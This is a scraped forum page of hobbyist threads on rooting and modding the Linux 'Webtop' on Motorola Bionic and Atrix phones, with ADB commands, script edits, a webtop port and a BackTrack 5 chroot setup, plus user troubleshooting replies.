[Mods] WebBuntu Post-Webtop2sd Hacks - Motorola Droid Bionic

Hey there,
Here is a guide for what to do after you have installed Webtop2sd and moved the Webtop to the sdcard. This guide, using [mbm]'s patch, will install gnome-terminal along with a rebuilt DPKG-repo so that way you can run apt-get, synaptic or aptitude to download new software for your Webtop. Along with this guide there is a link to Fenny's HDMI hack for those who don't have the laptop dock or the HD Dock for the Bionic.
Bionic Webtop Over HDMI Hack
Prerequisites:
1) Rooted Bionic
2) Webtop Patch
3) ADB already configured
4) Patience
First things first, go ahead and download [mbm]'s patch for Webtop that enables apt-get, synaptic package manager and gnome-terminal services in Webtop and place that file on the root of your sdcard. Then follow these commands step by step to apply the patch.
adb shell
su
/bin/bash
-You will get some kind of error message, just ignore and push past it with the following commands
source /upath.sh
cd /osh
tar jxvf /mnt/sdcard-ext/mbm.tar.bz2
mount -o remount, rw /
mkdir /var/lib/dpkg/updates
reboot
Click to expand...
Click to collapse
After rebooting your phone, run these commands in adb:
su
mount -o remount, rw /
Click to expand...
Click to collapse
After booting into webtop:
Ctrl+Alt+T
sudo apt-get update
Click to expand...
Click to collapse
**take note that you must run the "mount -o remount, rw /" command anytime you reboot your phone because any programs you get thru apt-get or synaptic will error out during installation
After that is done, go ahead and rename the folder /etc/tomoyo to something else like /etc/toy or whatever you want (Note, webtop2sd already takes care of this part for the user). After that, go ahead and dock your phone to see what happens cause you will be presented with a normal looking Webtop but if you hold down ctrl+alt+t, then it brings up the terminal!
From here, you can run "gksu synaptic" and use the password "test" to start installing various different programs and packages that are normally available on Ubuntu.
Important!
If you mess up your Webtop partition in any kind of way and need to restore it back to stock, please download this custom FXZ and flash thru RSD to bring you back to stock again.
Webtop RSD Restore
Dependencies
Take caution when modding Webtop because there are some dependencies that will break Webtop if they are upgraded such as anything ending in a .mot or anything resembling that.
Credits
Please thank [mbm] for fixing what Motorola took out, without him, none of this would be possible without his patch.
Sogarth for being the pioneer of Webtop hacking and for porting over his Webtop2sd app to give us more storage to play with.
Fenny for bringing over his Webtop over HDMI hack to our phones.

Desktop Enviroment:
If you do not like the default LXDE and AWN setup that comes preloaded on Webtop, you do have the ability to change some settings in the phone to use different Desktop environments such XFCE, Gnome-Panel, FBPanel or etc, etc.
After installing your DE of choice thru apt-get or synaptic, navigate on your phone with Root File Explorer to /osh/usr/local/bin/ and open the file "start-oshwt-2.sh" in the text editor and you will be presented with something that looks like this:
#! /bin/sh
### BEGIN INIT INFO
# Provides: start_lxde2.sh
# Required-Start:
# Required-Stop:
# Default-Start:
# Default-Stop:
# Short-Description: started by adas user at login
### END INIT INFO
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export LD_LIBRARY_PATH=/usr/lib:/usr/local/lib
. /lib/lsb/init-functions
export `fbcp_dsba`
log_action_msg "Will now start OSHWT 2 scripts"
sfalv -i "/usr/lib/gvfs/gvfs-gdu-volume-monitor"
# start OSHWT 2 scripts
sfalv -i "awn-autostart"
sfalv -i "webtop-panel"
#sfalv -i "webtop-wallpaper"
#sfalv -i "evbridge"
webtop-wallpaper &
evbridge &
sfalv -i "window_switcher"
system-config-printer-applet >/dev/null 2>/dev/null &
sr-test avahi_start &
# IKXWEBTOP-5690 workaround.
# xkb is broken in 10.10 in that each time a keyboard is connected
# the layout of all other keyboards become the layout of
# the last connected keyboard.
# There is an xorg.conf.d rule that forces all keyboards to
# layout 'us(android)' but for some reason it is not working for
# evfwd. Here we force xkb to work with 'us(android)' so evfwd
# is assigned the right layout.
setxkbmap 'us(android)'
Click to expand...
Click to collapse
From here, if you comment out the sfalv -i "awn-autostart", then add to the script sfalv -i "xfdesktop" and sfalv -i "xfce4-panel" if you installed xfce4 or whatever Desktop environment you installed. If you followed this, your script should look like this:
#! /bin/sh
### BEGIN INIT INFO
# Provides: start_lxde2.sh
# Required-Start:
# Required-Stop:
# Default-Start:
# Default-Stop:
# Short-Description: started by adas user at login
### END INIT INFO
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export LD_LIBRARY_PATH=/usr/lib:/usr/local/lib
. /lib/lsb/init-functions
export `fbcp_dsba`
log_action_msg "Will now start OSHWT 2 scripts"
sfalv -i "/usr/lib/gvfs/gvfs-gdu-volume-monitor"
# start OSHWT 2 scripts
#sfalv -i "awn-autostart"
sfalv -i "webtop-panel"
sfalv -i "xfdesktop"
sfalv -i "xfce4-panel"
#sfalv -i "webtop-wallpaper"
#sfalv -i "evbridge"
webtop-wallpaper &
evbridge &
sfalv -i "window_switcher"
system-config-printer-applet >/dev/null 2>/dev/null &
sr-test avahi_start &
# IKXWEBTOP-5690 workaround.
# xkb is broken in 10.10 in that each time a keyboard is connected
# the layout of all other keyboards become the layout of
# the last connected keyboard.
# There is an xorg.conf.d rule that forces all keyboards to
# layout 'us(android)' but for some reason it is not working for
# evfwd. Here we force xkb to work with 'us(android)' so evfwd
# is assigned the right layout.
setxkbmap 'us(android)'
Click to expand...
Click to collapse
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
Working Programs:
OpenOffice
XFCE4
Xchat
LxTerminal
Transmission
lxpanel
rdesktop
VLC Player (Video is choppy)
Gnome-Panel
Evolution Email
Chrome-Browser

Can we get some more info on this? What programs can I get to work?
Sent from my DROID BIONIC using XDA App

BerkleyJ said:
Can we get some more info on this? What programs can I get to work?
Sent from my DROID BIONIC using XDA App
Click to expand...
Click to collapse
You can check out the Atrix forums to see what others have installed but for me, I've install VLC Player and Xchat, both work very well but I am running out of space but that will be fixed with Webtop2sd app.

OMG! This is awesome!! Good work guys! I will redirect my chromium post to this one instead!

Awesome guys!
Sent from my DROID BIONIC using XDA Premium App

These commands for windows?
after /bin/bash
bash: groups: command not found
bash: lesspipe: command not found

frenetic said:
These commands for windows?
after /bin/bash
bash: groups: command not found
bash: lesspipe: command not found
Click to expand...
Click to collapse
Those are for within ADB shell
Sent from my DROID BIONIC using Tapatalk

tallnerd1985 said:
Those are for within ADB shell
Sent from my DROID BIONIC using Tapatalk
Click to expand...
Click to collapse
Not working correctly
I will probably feel stupid

Sent from my DROID BIONIC using XDA Premium App

frenetic said:
Not working correctly
I will probably feel stupid
View attachment 735522
Click to expand...
Click to collapse
I am getting the same error

runandhide05 said:
I am getting the same error
Click to expand...
Click to collapse
Same here This is getting frustrating, I couldn't get the Webtopchromium hack to work from v1r7u41 and now I can't get this to work. The Webtopchromium would at least install although it wouldn't launch. Any help would be greatly greatly appreciated as the standard lapdock is gimped to say the least.

So I'm using the webtop hack and loving it. When it first starts, it prompts you to select your display settings. Well, I picked some I don't like now, and I can't find the option for it again. Can anyone direct me in the right place?
Thanks.
Figured it out. Couldn't see the settings due to the display. Hovered over top right and got settings to show.
Sent from my DROID BIONIC using xda premium

Working great for me. I need to remount / everytime I want to use apt-get (dpkg). I think I got that error too. Run:
Code:
echo $SHELL
to make sure it is bash and just keep going.
@mistawolfe
Click on the settings cog wheel thing (upper right) then display settings (maybe display) resolution I can't remember I got rid of the webtop-panel.

Added some updates to the process of unlocking Webtop to the main page. Feel free to pm me any hacks or tricks that you have found past my guide or post them here if you feel like.
P.S.
If anybody care to make a flashable zip file for CWM to make this process easier, PM your link to the zip and I will post a mirror for it.

Could someone bring me up to speed? Are you using the on screen keyboard and mouse functionality or external mouse and keyboard. I can't get anything done with the onscreen controls. They don't work right. Softkeys don't work at all. Mouse jumps all over and keyboard pushes result in totally different keys being typed.

ok, followed instructions on the updated op, ignored and continued after getting these " /bin/bash
bash: groups: command not found
bash: lesspipe: command not found"
errors after "apt-get update" command i get 0% [connecting to ports.ubuntu.com] and thats it, just stays at 0%. so after 5-10 mins i unplug phone dock, and alt-ctrl-delete...get nothing...

I also followed the update. When i came to the apt-get update command i get a "not found" error....so i went on in webtop amd opened terminal->sudo synaptic. It started up fine, although i dont see any packages that arent already installed....so i was trying to find some repos, but when i try to add one the button is grayed out after i type the url...so will someone give me some advice on the missing apt-get...and a list of repos compatible with webtop? Sorry for beimg clueless..its been a while since ive used linux "other than android".

Reminon said:
I also followed the update. When i came to the apt-get update command i get a "not found" error....so i went on in webtop amd opened terminal->sudo synaptic. It started up fine, although i dont see any packages that arent already installed....so i was trying to find some repos, but when i try to add one the button is grayed out after i type the url...so will someone give me some advice on the missing apt-get...and a list of repos compatible with webtop? Sorry for beimg clueless..its been a while since ive used linux "other than android".
Click to expand...
Click to collapse
I got the same errors until I added the "Update" folder and followed the code that was added tonight. Try the code on the Update folder that was added today and see if that works for you too.

danegrclose said:
I got the same errors until I added the "Update" folder and followed the code that was added tonight. Try the code on the Update folder that was added today and see if that works for you too.
Click to expand...
Click to collapse
so i get that error when apt-get update in cmd, so i go to webtop and open terminal, type sudo...not found, synaptic...not found, what the heck am i doing wrong here?

Related

[WIP] Bionic (maverick) webtop port to Atrix with chromium-browser with flash player

Dragons ahead. You can brick your phone. WORK IN PROCESS
I have compiled two threads and post them in a clean manner so that we can use bionic webtop.
Bionic Webtop Chromium (Chrome) Browser - http://forum.xda-developers.com/showthread.php?t=1271624
[Mods] WebBuntu Post-Webtop2sd Hacks - http://forum.xda-developers.com/showthread.php?t=1281722
[How to] VNC server in a pinch + Webtop w/o HDMI [Moved to Beta] - http://forum.xda-developers.com/showthread.php?t=1218217
This is the site for getting osh partition from bionic. http://www.pressbyte.com/5382/unbrick-motorola-droid-bionic-restore-stock-rom-tool/
targa_cdma_targa-user-2.3.4-5.5.1_84_DBN-55-110814-Verizon-US.tar.gz
http://www.multiupload.com/HUMXFD1J6L
Then, after extracting the file, you get grfs.img file and place it to /sdcard-ext directory.
After that you can mount to /tmp/grfs by;
open ADB terminal
# mkdir /tmp/grfs
# mount /sdcard-ext/grfs.img /tmp/grfs
Now we have the osh partition mounted to /tmp/grfs. We will use these file to make fake osh partition.
To create 2 GB fake partition, we need to create ubuntu.disk file on /sdcard-ext directory. Extract attached rsync.deb file to /sdcard-ext directory. Afterwards;
open ADB terminal
# su
# /usr/bin/sudo -H -u root bash
[email protected]:/# /bin/dd if=/dev/zero of=/sdcard-ext/ubuntu.disk bs=1024 count=2097152
[email protected]:/# /sbin/losetup /dev/block/loop7 /sdcard-ext/ubuntu.disk
[email protected]:/# /sbin/mkfs -t ext3 -m 1 -b 2048 /dev/block/loop7
[email protected]:/# mkdir /tmp/osh
[email protected]:/# /bin/mount -t ext3 /dev/block/loop7 /tmp/osh
[email protected]:/# mkdir /tmp/deb
[email protected]:/# /usr/bin/dpkg-deb -x /mnt/sdcard-ext/rsync* /tmp/deb
[email protected]:/# /tmp/deb/usr/bin/rsync -avx /tmp/grfs/ /tmp/osh/
[email protected]:/# exit
# reboot
Now we have original webtop (jaunty) and fake webtop (maverick). The osh directory is mounted on original webtop. Now we mount the original webtop to /tmp/osh_1 directory so that we can use some files if necessary. This remounting is not necessary though.
open ADB terminal
# su
# mkdir /tmp/osh1
# /system/bin/mount -t ext3 /dev/block/mmcblk0p13 /tmp/osh1
# /sbin/losetup /dev/block/loop7 /mnt/sdcard-ext/ubuntu.disk
# /system/bin/mount -t ext3 /dev/block/loop7 /osh
Voila. We have mounted fake webtop to /osh mount point. Now we can use apt-get but to use it, we need to change some files in webtop. We shall download this file http://www.megaupload.com/?d=R56GAH8Q and put it into /sdcard-ext directory.
open ADB terminal
# su
# /usr/bin/sudo -H -u root bash
[email protected]:/# cd /osh
[email protected]:/# tar jxvf /mnt/sdcard-ext/mbm.tar.bz2
[email protected]:/# mount -o remount, rw /
[email protected]:/# mkdir /var/lib/dpkg/updates
we need to update /etc/apt/sources.list file.
open ADB terminal
# su
# /usr/bin/sudo -H -u root bash
[email protected]:/# chroot /osh
[email protected]:/# echo "deb http://91.189.92.175/ubuntu-ports maverick main universe restricted multiverse">/etc/apt/sources.list
[email protected]:/# echo "deb http://91.189.92.175/ubuntu-ports maverick-updates main universe restricted multiverse">>/etc/apt/sources.list
[email protected]:/# echo "deb http://91.189.92.175/ubuntu-ports maverick-backports main universe restricted multiverse">>/etc/apt/sources.list
[email protected]:/# echo "deb http://91.189.92.175/ubuntu-ports maverick-security main universe restricted multiverse">>/etc/apt/sources.list
[email protected]:/# apt-get update
[email protected]:/# apt-get install chromium-browser
Now we have a working fake webtop (maverick). The next step is to use this webtop instead of atrix webtop (jaunty).
Reboot atrix. After rebooting every thing will be normal. You will have original webtop mounted on /osh directory. Put atrix to laptop dock. Atrix webtop will open and you will see the destop ( jaunty ),
then open lxterminal;
[email protected]:/data/home/adas$ /usr/bin/sudo -H -u adas bash
[email protected]:/data/home/adas$# sudo /system/bin/mount -t ext3 /dev/block/mmcblk0p13 /tmp/osh_1
[email protected]:/data/home/adas$ sudo /sbin/losetup /dev/block/loop7 /mnt/sdcard-ext/ubuntu.disk
[email protected]:/data/home/adas$ sudo /system/bin/mount -t ext3 /dev/block/loop7 /osh
Here, we disconnect /osh mount point from jaunty distro and connect maverick distro to /osh mount point. Actually we are trying to trick atrix webtop.
Now, we can open chromium-browser. Again open lxterminal and run;
[email protected]:/data/home/adas$ sudo cp /tmp/osh_1/usr/lib/firefox-addons/plugins/libflashplayer.so /osh/usr/lib/chr*/plugins/libflashplayer.so
[email protected]:/data/home/adas$ sudo chromium-browser
Voila.
POC video:
http://www.youtube.com/watch?v=etb6iCW7qHk
https://help.ubuntu.com/community/RestrictedFormats
sudo apt-get install ubuntu-restricted-extras
https://help.ubuntu.com/community/Java
sudo add-apt-repository "deb http://archive.canonical.com/ maverick partner"
sudo apt-get update
Thank you alot for your hard work
But i have few questions: Is everything working fine? Is it faster or slower? Do all bionic patches and hacks work?
This does basically replace my old webtop right? Is there anyway to revert back to atrix webtop after following your guide? In case of Brick, can i fix it?
Again THANKS
Nikoloz17 said:
Thank you alot for your hard work
But i have few questions: Is everything working fine? Is it faster or slower? Do all bionic patches and hacks work?
This does basically replace my old webtop right? Is there anyway to revert back to atrix webtop after following your guide? In case of Brick, can i fix it?
Again THANKS
Click to expand...
Click to collapse
Hi,
This is not complete. But in this mod, we donot touch original webtop. After reboot, it reverts back to original.
saltinbas said:
I have compiled two threads and post them in a clean manner so that we can use bionic webtop.
Click to expand...
Click to collapse
I love you.
I can get dirty with the cli but this is a little beyond my comfort zone. Will parts of this process be automated eventually?
Sent from my MB860 using xda premium
dragon_76 said:
I love you.
I can get dirty with the cli but this is a little beyond my comfort zone. Will parts of this process be automated eventually?
Sent from my MB860 using xda premium
Click to expand...
Click to collapse
Hi,
It can be automated. But now what we need is to display webtop desktop on laptop dock.
Can the chrome browser be installed on our webtop with out having to do all the bionic stuff? If so thats all I need. Thanx.
xxgmon3yxx said:
Can the chrome browser be installed on our webtop with out having to do all the bionic stuff? If so thats all I need. Thanx.
Click to expand...
Click to collapse
hi,
the problem with chromeium browser is about jaunty ubuntu distro. afaik you can not run on jaunty properly. although there is armel arch in jaunty ubuntu distro, it is very old. Maverick is the ubuntu distro which supports chromium browser properly.
Sent from my MB860 using XDA App
Hope, you will succeed making it work with lapdock.
I too only need Chrome.
saltinbas said:
Hi,
It can be automated. But now what we need is to display webtop desktop on laptop dock.
Click to expand...
Click to collapse
So does Android handle that or Ubuntu?
Sent from my MB860 using xda premium
dragon_76 said:
So does Android handle that or Ubuntu?
Sent from my MB860 using xda premium
Click to expand...
Click to collapse
this can be automated with bash script. Ubuntu and android use same linux kernel.
Sent from my MB860 using XDA App
Bionic Break Development (WIP)
Hey,
Nice set of threads, I like your version currently do to I barley have time to go back and fourth between phones one use one dev Atrix but here's what I have on this end : Bionic Webtop [Port Breaking Ground]
I'm stuck at the moment getting a backup of the current webtop within the same flash able and in the correct format. I have the commands working while within adb though timing it in with the install zip is a pita.
so here's the installer its a permanent flash so you can use it continuously, as for the docks they don't work due to launchers not having the correct environment variables for android haven't gone further than ripping both sets apart. As for the webtop.sh script its backup section doesn't work atm so I haven't released it rewrote it a few times with no luck, the installer works fine. Really its a simple switch with joe's webtop mod with the osh.img, the point of the flash able zip was to have what ever was their backed up compressed and ready to swap.
The codes for backing up and prepping via recovery are:
Code:
adb shell
su
dd if=/dev/block/mmcblk0p13 bs=131072 | gzip > /sdcard/osh.img.gz
reboot recovery (<this is optional if your already in recovery XP)
BTW as for a GUI I recommend using:
[How to] VNC server in a pinch + Webtop w/o HDMI [Moved to Beta]
Have a look if you like.
Do note the backup on this dose not work!!!!! though the installer dose is pre-loaded with the bionic webtop. Also note this is for Further Development only been sitting on this for awhile being I rather have easier reverts to my Webtop's then to have peps stuck.
BACKUP YOUR CURRENT WEBTOP THIS WILL DESTROY IT
Bionic Break (WIP)
Will add the flash able I have as soon as I get home so 2hrs, for now here is a zip with the modified webtop.sh scripts for a few of my attempts at it.
Djazin said:
Hey,
Nice set of threads, I like your version currently do to I barley have time to go back and fourth between phones one use one dev Atrix but here's what I have on this end : Bionic Webtop [Port Breaking Ground]
I'm stuck at the moment getting a backup of the current webtop within the same flash able and in the correct format. I have the commands working while within adb though timing it in with the install zip is a pita.
so here's the installer its a permanent flash so you can use it continuously, as for the docks they don't work due to launchers not having the correct environment variables for android haven't gone further than ripping both sets apart. As for the webtop.sh script its backup section doesn't work atm so I haven't released it rewrote it a few times with no luck, the installer works fine. Really its a simple switch with joe's webtop mod with the osh.img, the point of the flash able zip was to have what ever was their backed up compressed and ready to swap.
The codes for backing up and prepping via recovery are:
Code:
adb shell
su
dd if=/dev/block/mmcblk0p13 of=/sdcard/webtop.img.gz bs 131072
reboot recovery (<this is optional if your already in recovery XP)
BTW as for a GUI I recommend using:
[How to] VNC server in a pinch + Webtop w/o HDMI [Moved to Beta]
Have a look if you like.
Do note the backup on this dose not work!!!!! though the installer dose is pre-loaded with the bionic webtop. Also note this is for Further Development only been sitting on this for awhile being I rather have easier reverts to my Webtop's then to have peps stuck.
BACKUP YOUR CURRENT WEBTOP THIS WILL DESTROY IT
Bionic Break (WIP) Uploaded wrong one >,< fixing
Will add the flash able I have as soon as I get home so 2hrs, for now here is a zip with the modified webtop.sh scripts for a few of my attempts at it.
Click to expand...
Click to collapse
I am very happy that a developper is helping. I have looked at your codes. There is webtop.img.gz file in sdcard. if this file is grfs.img than you can not dd or copy to mmcblk0p13 since atrix mmcblk0p13 is 750 mb and grfs.img is 1.3 GB. if it is different than grfs.img, where can i find ?
Sent from my MB860 using XDA App
saltinbas said:
I am very happy that a developper is helping. I have looked at your codes. There is webtop.img.gz file in sdcard. if this file is grfs.img than you can not dd or copy to mmcblk0p13 since atrix mmcblk0p13 is 750 mb and grfs.img is 1.3 GB. if it is different than grfs.img, where can i find ?
Sent from my MB860 using XDA App
Click to expand...
Click to collapse
Its not meant to dd its actually meant as joe ferra's mod uses to literally drop in the /osh directory of the webtop mod zip though I edited the adb commands to use osh so the image it creates is renamed accurately.
And grfs.img? Erm... where and how did you get to that .img 1.3 GB is pretty big for a base webtop, though saw I forgot a = sign in my post up there try it again if you didn't add it. Might have inadvertently created a new .img.gz file marked for 1.3GB (most likely)
Just an example:
Code:
C:\AtrixGinger>adb shell
# mount -o rw,remount -t fat /dev/block/mmcblk0p18 /sdcard
# dd if=/dev/block/mmcblk0p13 bs=131072 | gzip > /sdcard/osh.img.gz
dd if=/dev/block/mmcblk0p13 bs=131072 | gzip > /sdcard/osh.img.gz
(soon to be updated amt here)+0 records in
(soon to be updated amt here)+0 records out
(soon to be updated amt here) bytes transferred in (soon to be updated amt here [ or substitute a ungodly long amount of time here]) secs ((soon to be updated amt here) bytes/sec)
then rename the osh.img.gz to webtop.img.gz
Djazin said:
Its not meant to dd its actually meant as joe ferra's mod uses to literally drop in the /osh directory of the webtop mod zip though I edited the adb commands to use osh so the image it creates is renamed accurately.
And grfs.img? Erm... where and how did you get to that .img 1.3 GB is pretty big for a base webtop, though saw I forgot a = sign in my post up there try it again if you didn't add it. Might have inadvertently created a new .img.gz file marked for 1.3GB (most likely)
Just an example:
Code:
C:\AtrixGinger>adb shell
# mount -o rw,remount -t fat /dev/block/mmcblk0p18 /sdcard
# dd if=/dev/block/mmcblk0p13 of=/sdcard/osh.img.gz bs=131072
dd if=/dev/block/mmcblk0p13 of=/sdcard/osh.img.gz bs=131072
6144+0 records in
6144+0 records out
805306368 bytes transferred in 250.009 secs (3221109 bytes/sec)
then rename the osh.img.gz to webtop.img.gz
Click to expand...
Click to collapse
The file is 1.3 GB since afaik bionic has osh partion of size 1.3 GB. When you mount grfs.img, you can see that it has 650 MB free space. So it has 650 MB size of webtop files. I got this file from a web site which I had mentioned. Then extracted this image.
In this code "dd if=/dev/block/mmcblk0p13 of=/sdcard/osh.img.gz bs=131072" you are creating a image file size of mmcblk0p13 only as you mentioned. Where do you get maverick webtop ? I am asking since I do not have bionic but only atrix. I think you have bionic at hand and creating a copy of mmcblk0p13 webtop (maverick).
By the way, [How to] VNC server in a pinch + Webtop w/o HDMI [Moved to Beta] topic is interesting. I am following the steps you mentioned. I have added this topic to the frist page.
About to update the again though, as for the osh.img it was dumped back when they were gathering stock files for the Bionic. I myself have only 2 captivates and 2 Atrix's + the 2 other Atrix's I've modded for my family XD dont own a Bionic though, Ill post the original link to the thread here when I find that again. It was uploaded by Bezerker7 in the bionic thread here on xda the linking osh.img he posted is this from his website. I used joe's webtop mod pulled out the webtop.img.gz file from it then swapped out the osh.img in there with the bionic repacked them all and it worked didn't upload till I had a A/B switch type zip finalized but its been stuck solid for a week. The Flashable Bionic is here: Bionic Break Safe to flash and will keep Bionic Webtop on the Atrix though is not able to complete the backup like I intended.
As for the updates:
Wow, so I apparently opened up a older Lab folder for this project so it works but doesn't work right, my new position at my job killing me. So I just checked out the posts and seems I was off on the DD commands. Heh gotta love development wish notepad++ was as organize-able as one-note was.
Correct one is:
dd if=/dev/block/mmcblk0p13 bs=131072 | gzip > /sdcard/osh.img.gz
otherwise it'll miss format the archive and fubar the internal img
Ill try adding it to the current webtop.sh and see how that goes, if someone can take a look at my folder of various webtop.sh files and see where a possible problem is. Personally I think its timing the commands and having one finish before the other one starts. Updated the posts above respective to this update on the backup usage with dd.
See look no hands XP!! lol or in this case no Bionic
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
Djazin said:
About to update the again though, as for the osh.img it was dumped back when they were gathering stock files for the Bionic. I myself have only 2 captivates and 2 Atrix's + the 2 other Atrix's I've modded for my family XD dont own a Bionic though, Ill post the original link to the thread here when I find that again. It was uploaded by Bezerker7 in the bionic thread here on xda the linking osh.img he posted is this from his website. I used joe's webtop mod pulled out the webtop.img.gz file from it then swapped out the osh.img in there with the bionic repacked them all and it worked didn't upload till I had a A/B switch type zip finalized but its been stuck solid for a week. The Flashable Bionic is here: Bionic Break Safe to flash and will keep Bionic Webtop on the Atrix though is not able to complete the backup like I intended.
As for the updates:
Wow, so I apparently opened up a older Lab folder for this project so it works but doesn't work right, my new position at my job killing me. So I just checked out the posts and seems I was off on the DD commands. Heh gotta love development wish notepad++ was as organize-able as one-note was.
Correct one is:
dd if=/dev/block/mmcblk0p13 bs=131072 | gzip > /sdcard/osh.img.gz
otherwise it'll miss format the archive and fubar the internal img
Ill try adding it to the current webtop.sh and see how that goes, if someone can take a look at my folder of various webtop.sh files and see where a possible problem is. Personally I think its timing the commands and having one finish before the other one starts. Updated the posts above respective to this update on the backup usage with dd.
See look no hands XP!! lol or in this case no Bionic
Click to expand...
Click to collapse
Thanks for bionic-break zip file. I will check ASAP.
Djazin said:
About to update the again though, as for the osh.img it was dumped back when they were gathering stock files for the Bionic. I myself have only 2 captivates and 2 Atrix's + the 2 other Atrix's I've modded for my family XD dont own a Bionic though, Ill post the original link to the thread here when I find that again. It was uploaded by Bezerker7 in the bionic thread here on xda the linking osh.img he posted is this from his website. I used joe's webtop mod pulled out the webtop.img.gz file from it then swapped out the osh.img in there with the bionic repacked them all and it worked didn't upload till I had a A/B switch type zip finalized but its been stuck solid for a week. The Flashable Bionic is here: Bionic Break Safe to flash and will keep Bionic Webtop on the Atrix though is not able to complete the backup like I intended.
As for the updates:
Wow, so I apparently opened up a older Lab folder for this project so it works but doesn't work right, my new position at my job killing me. So I just checked out the posts and seems I was off on the DD commands. Heh gotta love development wish notepad++ was as organize-able as one-note was.
Correct one is:
dd if=/dev/block/mmcblk0p13 bs=131072 | gzip > /sdcard/osh.img.gz
otherwise it'll miss format the archive and fubar the internal img
Ill try adding it to the current webtop.sh and see how that goes, if someone can take a look at my folder of various webtop.sh files and see where a possible problem is. Personally I think its timing the commands and having one finish before the other one starts. Updated the posts above respective to this update on the backup usage with dd.
See look no hands XP!! lol or in this case no Bionic
Click to expand...
Click to collapse
Hi, I have extracted osh.img and mounted to /osh. After running this command;
[email protected]:/# apt-get -v
apt-get -v
apt 0.7.20.2ubuntu6 for armel compiled on Apr 17 2009 05:17:49
If you look at apt-get version, this is ubuntu jaunty distro but not maverick. So that osh.img is not from bionic but from atrix webtop.
Bionic Break Development (WIP)
Opps uploaded a shell installer >,<
Sorry grabbed a shell installer basically was the core webtop mod with the work being done on the backup and updater zip fixed tested then reconfirmed and will be available here:
Double checked and its the right one this time see edited and highlighted the bionic download link for the osh.img above, third times the trick XP my files were a mess across both my Atrix's due to work stuff en ways its on its way up should be within the hour ITS UP, even tested this on my main phone for kicks its deffenatly the Bionic Webtop Now XD
Notes: do know that you still have to do the mods the Bionic users are doing to their webtop to make use of apt-get and what not, basic commands still function as you can see in the pics
Heads up:
Anyone that downloaded before this post, you might wanna re download I cleaned out my files on my end and on multiupload, so everything is where it should be in this part of this development. The installer dose work, though the backup part and function of the installer dose not, but will push through regardless of a fail/successful backup as of yet the flash able has not been able to create the backup. For backing up your webtop in the correct format use the code part posted earlier. Those using webtop to sd will need to re install the backup of the base webtop as they see fit.
-DjAzin
Right now this only works over HDMI but not lapdock, is that correct?
Sent from my MB860 using xda premium

[GUIDE]BackTrack 5 Chroot (Backtop2)

[Project dormant unless someone else picks it up]
NOTE: This is a chroot for the Webtop, not the Android+VNC chroot method.
Hi everyone, this is my first guide (I'm not sure I can call it that yet, or if this is in the right section) so bear with me.
I tried the Debian chroot guide (http://forum.xda-developers.com/showthread.php?t=1093790), and I really liked the idea, but I had too many apt-get issues and it often crashed my Webtop, so I tried building my own Ubuntu Lucid chroot using rootstock, but internet didn't work.
I later saw this: http://forum.xda-developers.com/showthread.php?t=1184161, but the links were dead and the scripts it referenced were out of date. I'll sort of combine the two guides here since Backtrack actually works surprisingly well.
Just on a side note though, I haven't fully tested the Backtrack tools, but the only thing I haven't found to work are the wireless tools.
Let's start!
Required:
-Rooted Atrix (with Blur based ROM)
-LXTerminal installed on Webtop
-Enough free space (around 4 GB just for room)
-7-Zip
-Some Linux/Unix distro native or in a VM
1. Install the easy-signed.zip from the Debian chroot guide:
http://forum.xda-developers.com/showthread.php?t=1093790
but the other files aren't needed.
Make a folder called WebTopMOD (case-sensitive) on either external or internal memory for later.
2. Look here for reference: http://forum.xda-developers.com/showthread.php?t=1184161, but the links are dead. Active links are here:
Part 1: http://www.mediafire.com/?x9cgxzdx84vc6uj
Part 2: http://www.mediafire.com/?xaoidipkg1o7vgo
Part 3: http://www.mediafire.com/?po3nznbxgvdipur
Use 7-Zip to uncompress the three files (called bt.7z.001,002,003) and you'll get a bt.img.
Full bt.img in a zip:
DL from Mega or from Google Drive
3. The image isn't usable in this state yet, since the image is formatted with ext2, and we need ext3.
Copy the image over to your Linux VM or computer on a easy-to-find directory, and open up a Terminal window (usually CTRL+ALT+T).
In Terminal, type this in:
Code:
cd <directory where you put bt.img>
mkdir tmp tmpbt
sudo mount -o loop bt.img tmpbt
dd if=/dev/zero of=linuxdisk count=0 bs=1MB seek=4096 (This is the size of the chroot image you want, in MB)
mkfs.ext3 linuxdisk (just type y when it asks)
sudo mount -o loop linuxdisk tmp
sudo cp -rf tmpbt/* tmp
sudo umount tmp
sudo umount tmpbt
[Sorry, made a mistake twice] Copy the newly made linuxdisk file to a directory named WebTopMOD on your internal memory or sdcard-ext (folder and file names are case-sensitive).
4. Start Webtop, then open LXTerminal, then start the chroot by typing in:
Code:
/usr/sbin/linux
and after it loads for a bit, you'll get an xterm window with the shell for Backtrack!
If you want to quit the Gnome session, closing xterm doesn't work, since by issuing the commands to kill the webtop processes, it also kills the webtop window manager, and if you do close it there's some kind of weird glitch with a small popup window constantly disappearing and reappearing. (It'll be a WIP for now I guess, the only full solution is to reboot your Atrix). It seems to have to do with the way the linux command mounts the chroot disk under loop50, I'll try and make something to fix this later.
-----------------Extras moved below-----------------------
Pictures:
Chromium Running
BT Desktop (Gnome)
BT Desktop with AIW
THANKS TO:
k.taylor89 for the original Backtop Method
SystemR89 for the Debian chroot and scripts to make this work
The original developers of the Backtop chroot image
And any others I may have forgotten!
Extras:
If you want a GUI (Gnome):
k.taylor89 said:
You first need to kill off all the webtop crap do this by typing the following in xterm.
"ps ax|grep awn|awk '{print $1}'|xargs kill"
"ps ax|grep panel|awk '{print $1}'|xargs kill"
Then start gnome by typing "gnome-session" in xterm.
Click to expand...
Click to collapse
